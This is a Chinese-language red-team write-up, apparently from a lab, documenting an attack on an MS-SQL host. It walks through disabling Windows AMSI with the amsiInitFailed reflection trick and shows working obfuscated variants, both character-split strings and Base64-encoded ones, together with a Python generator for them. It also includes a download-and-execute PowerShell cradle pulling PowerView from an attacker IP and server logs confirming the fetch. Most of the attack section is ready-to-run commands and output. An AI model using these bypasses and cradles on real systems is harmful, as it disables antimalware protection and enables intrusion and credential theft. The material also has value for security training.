1 本周进度与攻击上下文
当前攻击已进入纵深阶段,我们通过JEA绕过,成功获得了目标主机
server04(IP地址192.168.24.112)上gigantichosting\s.helmer用户的上下文环境。初步枚举显示,该主机是一台MS-SQL Server服务器。本周的核心任务是利用已获得的数据库服务器Shell,通过执行存储过程来发起系统命令,进而实施网络嗅探或NTLM中继攻击,最终目标是获取转储系统凭据(Secrets)的机会,以实现进一步的横向移动或权限提升。
然而,在尝试部署PowerView等枚举脚本时,遭遇了防御机制的拦截,这直接引出了本次的核心议题:深入理解并实操绕过AMSI。
2 AMSI实操及深度解析
在真实的对抗场景中,隐蔽性是红队行动成功与否的关键。面对日益严苛的杀毒软件(AV)和终端检测与响应(EDR)策略,若无法绕过AMSI这类核心防御机制,后续的攻击载荷和利用脚本将寸步难行,极易触发告警,导致整个行动失败。因此,掌握AMSI的绕过技术,不仅是战术上的必要,更是检验企业防线实际能力、锤炼红队综合实力的核心环节。
2.1 初始报错与问题识别
在
server04的PowerShell会话中,当我们尝试通过网络加载并执行PowerView脚本时,收到了明确的拦截报错信息:PS C:\programdata\apps> iex ((new-object net.webclient).downloadstring("http://10.10.16.111/apps/PowerView.ps1")); + #requires -version 2 This script contains malicious content and has been blocked by your antivirus software. At line:1 char:1 + t.webclient).downloadstring("http://10.10.16.111/ap... + CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException + FullyQualifiedErrorId: ScriptContainedMaliciousContent, Microsoft.PowerShell.Commands.InvokeExpressionCommand这个报错为我们提供了精确排查问题的起点。
2.2 排障分析
2.2.1 报错内容表意分析
核心信息:
This script contains malicious content and has been blocked by your antivirus software.这句英文明确指出,脚本被拦截的原因是安全软件判定其包含恶意内容。关键点解读:
报错的第一行
#requires -version 2并非错误本身,而是PowerShell解析器在执行被拦截的脚本时,读取到的第一行有效内容。blocked by your antivirus software:直接指向了杀毒软件或其相关模块(如AMSI)的拦截行为。Invoke-Expression:该命令用于动态执行字符串内容,是安全软件重点监控的“高风险行为”。ParserError:此处的解析错误是由于内容被拦截后无法继续执行而导致的,并非脚本本身的语法问题。未提及执行策略:报错信息中没有出现
not allowed to run scripts等字样,可以初步排除是PowerShell执行策略(Execution Policy)的限制。
2.2.2 缩减可能性
根据上述分析,我们可以排除以下几种常见的失败原因:
Execution Policy限制:如上所述,报错信息不符。
PowerShell版本不兼容:如果是版本问题,报错会明确指出
#requires指令的不兼容情况。网络或URL不可访问:如果是下载失败,会显示网络解析错误(
The remote name could not be resolved)或HTTP错误(404 Not Found)。而当前报错表明脚本已被下载并开始解析,说明网络是通的。脚本语法错误:报错类型为
ScriptContainedMaliciousContent而非Unexpected token等语法错误提示,说明脚本语法本身无误。
2.2.3 可能的根本原因
将可能性范围缩小后,根本原因高度集中在以下几点:
AMSI (Antimalware Scan Interface) 拦截:这是最可能的原因。AMSI作为PowerShell内置的安全模块,专门用于在运行时扫描脚本内容。报错中“malicious content”的措辞是AMSI检测逻辑的典型特征。
杀毒软件或EDR的行为检测:如果后续尝试禁用AMSI后脚本依然被拦截,则说明是杀毒软件或EDR在AMSI之外的层面(如行为分析)进行了拦截。
应用程序控制策略 (如AppLocker或WDAC):企业环境可能部署了AppLocker或Windows Defender Application Control (WDAC)来禁止执行未签名或不在白名单中的脚本。虽然报错不直接,但这些策略下的拦截也可能由安全软件以类似方式呈现。
2.2.4 AMSI与杀毒引擎的关系深度辨析
要进行精准排查,必须深刻理解AMSI与杀毒引擎(以Windows Defender为例)之间的关系。
场景一:关闭Defender实时监控,AMSI还在吗?
答案:AMSI仍然存在且在工作。AMSI是一个接口,它的存在和调用流程并不依赖于后端杀毒引擎是否开启。
但效果如何:此时的AMSI变成了一个“空壳”。当PowerShell执行脚本时,AMSI依然会介入,并将脚本内容通过接口尝试提交。但由于后端的Defender引擎已被关闭,没有任何Provider会接收并分析这些内容,因此也无法返回任何扫描结果。最终,AMSI无法判断内容是否恶意,脚本将不受影响地执行。
场景二:绕过AMSI,杀毒引擎还在,是否等于杀毒引擎失效?
答案:不完全等于,这取决于杀毒引擎的检测机制和对AMSI的依赖程度。
AMSI被绕过意味着:杀毒引擎在其动态脚本扫描这个维度上,如果高度依赖AMSI提供的内容,那么它确实会“失明”,无法检测到通过脚本执行的威胁。
杀毒引擎的其他能力:然而,现代杀毒引擎和EDR产品通常具备多层防御机制,这些机制独立于AMSI,例如:
磁盘文件静态扫描:对写入磁盘的文件进行扫描。
进程行为分析:监控进程的异常行为,如注入、修改关键注册表等。
网络活动监控:检测与已知恶意C2服务器的通信。
内存扫描:定期扫描进程内存,寻找恶意载荷的痕迹。
结论:绕过AMSI会使杀毒引擎在动态脚本防御方面被大幅削弱甚至失效,但其其他的防御能力依然存在。因此,高级攻击者在绕过AMSI后,通常会采取内存加载、进程注入等后续手段来进一步规避行为和内存层面的检测。
2.2.5 精准排查步骤
基于以上分析,我们制定一个从高可能性到低可能性的排查流程。
第一步:确认AMSI是否是问题根源
在执行目标脚本前,先执行一条命令尝试在当前会话中禁用AMSI。如这条语句,也就是前面提到的关闭 AMSI 的语句,很直接地表述了我们的意愿,即让 AMSI 初始化失败,也就是让它关闭,不能提交我们的脚本到杀毒引擎。
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null, $true)拆解一下下面句子的逻辑:
[Ref].Assembly:获取当前 PowerShell 的 .NET 程序集(Assembly)对象。Assembly是[Ref]的属性,表示程序运行时的元数据容器。[Ref]是 PowerShell 中的 .NET 类型,用于创建对变量或对象的引用。.GetType("System.Management.Automation.AmsiUtils"):从程序集的类型中查找System.Management.Automation.AmsiUtils类。这个类负责 AMSI 的实现。.GetField("amsiInitFailed", "NonPublic, Static"):查找AmsiUtils类中的静态字段amsiInitFailed。参数"NonPublic, Static"指定查找非公开(NonPublic)且静态(Static)的字段。.SetValue($null, $true):修改字段的值:$null:表示目标对象为空,因为字段是静态字段,不需要实例化。$true:将字段值设置为true,表示初始化失败。该字段控制 AMSI 的启用状态,设置为true会禁用 AMSI。其中反射逻辑:
其中动态(即运行时)发现类型和成员,指程序无需在代码中显式声明类型,而是通过字符串(如类名或字段名)在运行时查找类型信息。动态访问非公开成员,是指程序能够通过反射突破常规的访问限制,例如访问
private或internal修饰的成员。\动态调用方法或设置字段,则指程序可以在运行时通过反射调用方法或修改字段值,而无需编译时直接绑定。这种动态能力是反射的核心特征,这条关闭 AMSI 的语句为例。
总之,这条语句通过 .NET 的反射机制,访问并修改 PowerShell 内部的
System.Management.Automation.AmsiUtils类中的静态字段amsiInitFailed,将其值设置为true。该字段用于控制 AMSI (Antimalware Scan Interface) 的初始化状态,修改为true表示初始化失败,从而禁用 AMSI 的功能。
第二步:验证杀毒软件是否拦截
在受控环境中,尝试临时禁用杀毒软件的实时保护,然后再次运行脚本。如果成功,则说明是杀毒软件在AMSI之外的行为检测层进行了拦截。
第三步:检查其他安全策略
使用以下命令检查系统是否启用了AppLocker等应用程序白名单策略。
Get-AppLockerPolicy -Effective在当前
server04的环境中执行该命令,返回的RuleCollections和RuleCollectionTypes均为空,这明确表示当前系统未启用任何有效的AppLocker策略。
排查结论:综合以上步骤,我们可以精确地将问题定位在AMSI拦截上。
3 绕过脚本基本逻辑
我们用于排查的核心命令,其本身就是一种经典的AMSI绕过方法,被称为“动态反射修改字段法”。
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null, $true)语句逻辑拆解
[Ref].Assembly: 通过PowerShell的类型加速器[Ref],获取当前PowerShell进程加载的.NET程序集(Assembly)对象。.GetType("System.Management.Automation.AmsiUtils"): 在该程序集中,通过反射找到名为System.Management.Automation.AmsiUtils的内部类,这个类是PowerShell实现AMSI功能的关键。.GetField("amsiInitFailed", "NonPublic, Static"): 在AmsiUtils类中,找到一个名为amsiInitFailed的字段。参数"NonPublic, Static"指明这是一个私有的、静态的字段。.SetValue($null, $true): 修改该字段的值。$null: 因为字段是静态的,不属于任何特定对象实例,所以第一个参数传$null。$true: 将字段的值设置为布尔值true。
核心原理:
amsiInitFailed字段是PowerShell内部用来标记AMSI初始化状态的标志。当它的值为$true时,PowerShell会认为AMSI初始化失败,从而在当前会话中跳过所有后续的脚本扫描。这条命令利用.NET反射技术,强行修改了这个内部状态,从而达到了禁用AMSI的目的。
4 绕过策略与最佳实践
直接执行关闭AMSI的命令失败了,这说明关闭命令本身被AMSI的签名识别为恶意。我们需要一套策略,让用于关闭AMSI的命令本身也具备绕过AMSI的能力。
4.1 环境与权限确认
Execution Policy:首先确保PowerShell执行策略不会成为阻碍。检查当前策略,并在必要时为当前进程设置Bypass模式。
Get-ExecutionPolicy -List Set-ExecutionPolicy Bypass -Scope Process权限等级:确认当前用户权限。如果要进行内存注入、API Hook等更深层次的操作,通常需要管理员权限。
4.2 基础操作与脚本验证
最小可行脚本测试:在执行任何混淆之前,先在无防护的环境中测试原始脚本,确保其逻辑、语法完全正确,避免在排查绕过问题时被代码本身的bug干扰。
分行/分步执行:将一条完整的命令拆分成多行执行。
有时安全产品的签名只针对完整的恶意命令字符串,分步执行有助于定位触发签名的具体部分。$x = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed", "NonPublic, Static") $x.SetValue($null, $true)
4.3 轻量级混淆
若最小脚本被拦截,先做单纯的字符串拆分或Base64 编码,验证是否能绕过基本的静态签名检测。混淆方法通常可以分为轻量级混淆、中等复杂度混淆、高级混淆以及超高级混淆。
轻量级混淆强调对脚本或代码进行最小改动,却能绕过一些基础或中等强度的检测。它主要体现在字符串变形、标识符替换以及简单元素注入等方面。具体而言,开发者往往通过将关键字符串进行拆分或拼接,或者采用 Base64 或 Hex 对其进行编码,并在必要时对变量名、函数名进行随机化或替换。在逻辑层面上,还会插入空操作、冗余注释或垃圾字符,以进一步干扰静态分析。
轻量级混淆实现门槛较低、见效快速,对性能或逻辑的影响十分有限,是一种针对简单或初级检测场景行之有效的手段。
典型手段:字符串变形、将关键字符串进行拆分、拼接、Base64/Hex 编码等。标识符替换:对变量名、函数名进行随机化或别名替换。简单冗余注入:在逻辑中插入空操作、无用注释或随机垃圾字符。
实现示例:比如字符串拆分:
[string]::Join('',('S','t','r','i','n','g'))
或 Base64/Hex 编码(如 -EncodedCommand 等,用 Invoke-Obfuscation 的基础功能(如 TOKEN、STRING 混淆))。
优点:易于实现,不需要深厚的编程或编译知识。往往能够快速见效,常常能绕过基础或中等强度的静态检测。对代码影响小,逻辑几乎不变,可读性降低有限。
缺点:对高级检测有限,现代 EDR/AV 具备语义或行为分析时,轻量级混淆很难生效。而且可逆性高,安全防御人员可以较容易地还原原始字符串或逻辑。
4.4 中等复杂度混淆
中等复杂度混淆在轻量级手段的基础上,进一步加入控制流平坦化(Control-Flow Flattening)、部分抽象语法树(AST)重写、深度字符串加密以及死代码插入等技巧。控制流平坦化会打乱原本清晰的流程结构,将分支、循环等结构打散重组,增加分析难度;深度字符串加密则对关键逻辑进行对称或非对称加密,运行时解密后再使用。
这种方法对静态和初级行为分析更有威胁,但实现成本和维护负担也随之增高。它可能增加脚本或程序的运行开销,并且高级安全产品可能从行为角度捕捉可疑症状。
典型特征:控制流平坦化、AST 重写(部分)、深度字符串加密、死代码(Dead Code)插入等。
实现手段:可通过 Invoke-Obfuscation 的更高强度模式(如 AST 混淆)实现,或者使用 ConfuserEx(或类似 .NET 混淆器)对代码进行控制流变形。也可以自定义脚本,编写 Python/PowerShell/C# 等脚本自动插入垃圾代码、加解密片段。
优点:对静态分析更有效,安全工具需要更深入的语法树或控制流分析才能检测出脚本逻辑,增加逆向成本。混淆强度提高,比轻量级混淆更难被快速还原。
缺点:实现门槛上升,需要更专业的混淆技术或工具。可能会增加性能开销,由于代码逻辑复杂,运行或编译时可能受影响。同时可能触发行为检测,高级安全产品可能通过行为分析发现可疑模式。
4.5 高级混淆/深层次绕过
高级混淆通常会进行更深层次的 AST 改写,引入虚拟化技术或进行编译期插桩,结合内存级 Hook 或进程注入等手段。深度 AST 改写不仅停留在简单节点替换,而是大幅度重构语法结构;虚拟化会将原始指令翻译成自定义的虚拟指令集执行,极大增加分析难度。编译期插桩则在编译时对代码进行插装(Instrumentation),隐藏或变形关键逻辑。
更进一步,有些场景还会通过对 AmsiScanBuffer 等底层 API 进行 Patch 或 Hook 操作,直接屏蔽安全工具对脚本的扫描。此类方法对逆向工程和检测的对抗强度很高,但往往需要更高的技术门槛和更深的系统访问权限,同时会带来潜在的系统稳定性与兼容性问题,并容易触发更高级别的报警或审计。
典型特征:深度 AST 改写、虚拟化(Virtualization)、编译期插桩(Instrumentation)、存/取 Hook 或进程注入、内存级 Patch 等。
实现方式:商业/工业级混淆器(例如 VMProtect、Themida 等)、基于 C/C++、Rust、C# 等语言对内存进行 Patch、API Hook;或者使用成熟的 .NET 工具对 CLR 宿主进行插桩与虚拟化。
优点:对抗强度最高,现代 EDR/AV 在短时间内难以全面监控或还原。且逆向难度极大,安全防御人员需要丰富知识与大量时间来分析。
缺点:实现成本高、可能影响系统稳定性、可能触发高优先级报警并带来审计风险。对维护和调试提出高要求。
4.6 事后验证与回退
在真实的攻防演练中,绕过操作必须谨慎。
实时监测:留意安全产品是否产生告警,系统CPU是否异常飙升。
最小化操作:确保修改范围可控,不影响目标系统稳定性。
日志与证据保留:记录绕过过程、失败的尝试和最终成功的方法,为后续报告提供依据。
5 绕过尝试第1次:原始代码 (失败)
直接在
server04的PowerShell会话中执行未经任何修改的AMSI禁用命令。PS C:\Users\s.helmer\Documents> [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed", "NonPublic, Static").SetValue($null, $true) This script contains malicious content and has been blocked by your antivirus software. ...结果:失败。命令本身被AMSI检测为恶意内容并拦截。
6 绕过尝试第2次:原始代码+执行策略 (失败)
根据策略,首先排除Execution Policy的干扰。
PS C:\Users\s.helmer\Documents> Set-ExecutionPolicy Bypass -Scope Process然后再次执行原始代码。
PS C:\Users\s.helmer\Documents> [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed", "NonPublic, Static").SetValue($null, $true) This script contains malicious content and has been blocked by your antivirus software. ...结果:失败。证明问题与执行策略无关。
7 绕过尝试第3次:执行策略+分步执行 (失败)
将命令拆分为两步,尝试定位触发点。
PS C:\Users\s.helmer\Documents> $x = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed", "NonPublic, Static") This script contains malicious content and has been blocked by your antivirus software. ... PS C:\Users\s.helmer\Documents> $x.SetValue($null, $true) You cannot call a method on a null-valued expression.结果:第一步在赋值给变量
$x时就被拦截了。第二步因为$x为null而报错。这证明了第一行代码中存在触发签名的关键词。注:不建议将分步执行的逻辑写入一个脚本文件再通过
ForEach-Object等方式执行,这会引入文件名、Invoke-Expression等新的变量和关键词,增加排查的不确定性,属于画蛇添足。
8 绕过尝试第4次:执行策略+分步执行+字符串拆分 (成功)
既然第一行被拦截,我们采用轻量级混淆中的“字符串拆分”法,对其中的敏感字符串
System.Management.Automation.AmsiUtils和amsiInitFailed进行处理。混淆实现
将字符串拆分为单个字符的数组,在运行时通过
.NET的[string]::Join()方法动态拼接还原。可以使用一个简单的Python脚本来自动化这个拆分过程:
>>> def obfuscate_string(s): ... chars = ",".join(f"'{c}'" for c in s) ... return f"[string]::join('',({chars}))" ... >>> original1 = "System.Management.Automation.AmsiUtils" >>> obfuscated = obfuscate_string(original1) >>> print(obfuscated) [string]::join('',('S','y','s','t','e','m','.','M','a','n','a','g','e','m','e','n','t','.','A','u','t','o','m','a','t','i','o','n','.','A','m','s','i','U','t','i','l','s')) >>> original1 = "amsiInitFailed" >>> obfuscated = obfuscate_string(original1) >>> print(obfuscated) [string]::join('',('a','m','s','i','I','n','i','t','F','a','i','l','e','d')) >>>混淆后的第一行代码如下:
$x = [Ref].Assembly.GetType([string]::Join('',('S','y','s','t','e','m','.','M','a','n','a','g','e','m','e','n','t','.','A','u','t','o','m','a','t','i','o','n','.','A','m','s','i','U','t','i','l','s'))).GetField([string]::Join('',('a','m','s','i','I','n','i','t','F','a','i','l','e','d')), "NonPublic, Static")含义(高层):把上一步拿到的静态字段
amsiInitFailed的值设置为true($null为目标实例参数,静态字段不需要实例)。这会改变 AMSI 的初始化/启用状态(从而影响 AMSI 的行为)。$x.SetValue($null, $true)
执行验证
首先确认不执行绕过时,加载PowerView失败。
执行混淆后的第一步,成功赋值给
$x,没有报毒。执行第二步
$x.SetValue($null, $true),成功执行,没有报毒。再次尝试加载PowerView,脚本成功导入,没有任何报错。
PS C:\Users\s.helmer\Documents> Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://10.10.16.111/apps/PowerView.ps1') PS C:\Users\s.helmer\Documents> iex ((new-object net.webclient).downloadstring("http://10.10.16.111/apps/PowerView.ps1")); Kali端: [Thu Oct 16 12:47:52 2025] 10.10.110.50:39344 Accepted [Thu Oct 16 12:47:52 2025] 10.10.110.50:39344 [200]: GET /apps/PowerView.ps1 [Thu Oct 16 12:47:55 2025] 10.10.110.50:39344 Closing
结果:成功。通过简单的字符串拆分混淆,成功绕过了AMSI的静态签名检测,并禁用了AMSI。
9 轻度变形的方案验证
为了验证其他轻量级混淆方法的效果,我们继续进行测试。
替代方法1:字符串加法
粗粒度拼接(失败):
$x = [Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Autom'+'ation.AmsiUtils').GetField('amsi'+'Init'+'Failed', "NonPublic, Static")此方法仍然被拦截,说明AMSI的检测逻辑可能考虑了较短字符串片段的组合。
细粒度拼接(成功):将字符串拆分为单个字符并用
+连接,成功绕过。$x = [Ref].Assembly.GetType([string]::Join('',('S','y','s','t','e','m','.','M','a','n','a','g','e','m','e','n','t','.','A','u','t','o','m','a','t','i','o','n','.','A','m','s','i','U','t','i','l','s'))).GetField([string]::Join('',('a','m','s','i','I','n','i','t','F','a','i','l','e','d')), "NonPublic, Static")
替代方法2:Base64编码(成功)
将敏感字符串进行Base64编码,在运行时解码。
$x = [Ref].Assembly.GetType([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM='))).GetField([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('YW1zaUluaXRGYWlsZWQ=')), "NonPublic,Static") $x.SetValue($null, $true)此方法也成功绕过了AMSI。
结论:在当前场景下,多种轻量级字符串混淆技术均能有效绕过AMSI的静态签名检测。核心在于破坏检测引擎赖以匹配的固定字符串模式。
-.-
评论区